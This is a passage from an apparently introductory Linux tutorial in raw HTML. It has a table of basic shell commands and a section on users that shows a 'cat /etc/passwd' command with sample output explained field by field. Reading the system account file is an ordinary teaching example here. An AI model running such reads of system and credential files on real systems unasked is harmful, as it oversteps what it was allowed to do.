solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Remove file “filename”</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">mkdir newdir</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Create directory “folder”</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">rmdir newdir</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Remove directory “newdir”</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">touch filename</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Create empty file “filename”</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">cp sourcefile destfile</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Copy sourcefile to destfile</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">mv sourcefile destfile</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Move sourcefile to destfile</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">cat somefile</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Get “somefile” contents</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">grep pattern somefile</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Select only “pattern” from “somefile” contents</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">echo data</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Echo “data” on the screen</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">whoami</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Get current username</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">history</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Get all commands executed earlier</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ifconfig</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Get network interfaces configurations</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">apt install package</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Install “package”</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">nano filename</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Edit “filename”</span></p></td></tr><tr style="height: 0pt;"><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">sudo command</span></p></td><td style="border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: middle;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Run “command” as root user</span></p></td></tr></tbody></table></div><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Users:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Each linux system has its administrator user, and commonly its name: </span><span style="background-color: #efefef; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">root</span></p><div style="text-align: justify;"><br /></div><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Home directory of the root user: </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/root</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">By default each additional user’s home directory is created under </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/home</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> directory</span></p><div style="text-align: justify;"><br /></div><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">For example, if our system has labuser, probably its home directory will be found at </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/home/labuser</span></p><div style="text-align: justify;"><br /></div><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Basic information about each user is stored in </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/etc/passwd</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> file.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">$ cat /etc/passwd</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">root:x:0:0:root:/root:/bin/bash</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">user:x:1000:1000::/home/user:/bin/bash</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Each line in </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/etc/passwd</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> file represents the following:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #980000; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/-----> User name</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #980000; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> /----> Encrypted password </span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(x refers that the password in shadow file)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #980000; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> | </span><span style="color: #38761d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/----> User ID number </span><span style="color: #38761d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(UID)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #980000; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> | </span><span style="color: #38761d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0c343d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/----> User's group ID number </span><span style="color: #0c343d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(GID)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #980000; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> | </span><span style="color: #38761d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0c343d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> /----> Full name of the user </span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(GECOS)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #980000; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> | </span><span style="color: #38761d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0c343d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> | </span><span style="color: #741b47; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/----> User home directory.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #980000; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> | </span><span style="color: #38761d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0c343d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> | </span><span style="color: #741b47; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/----> Login shell.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: 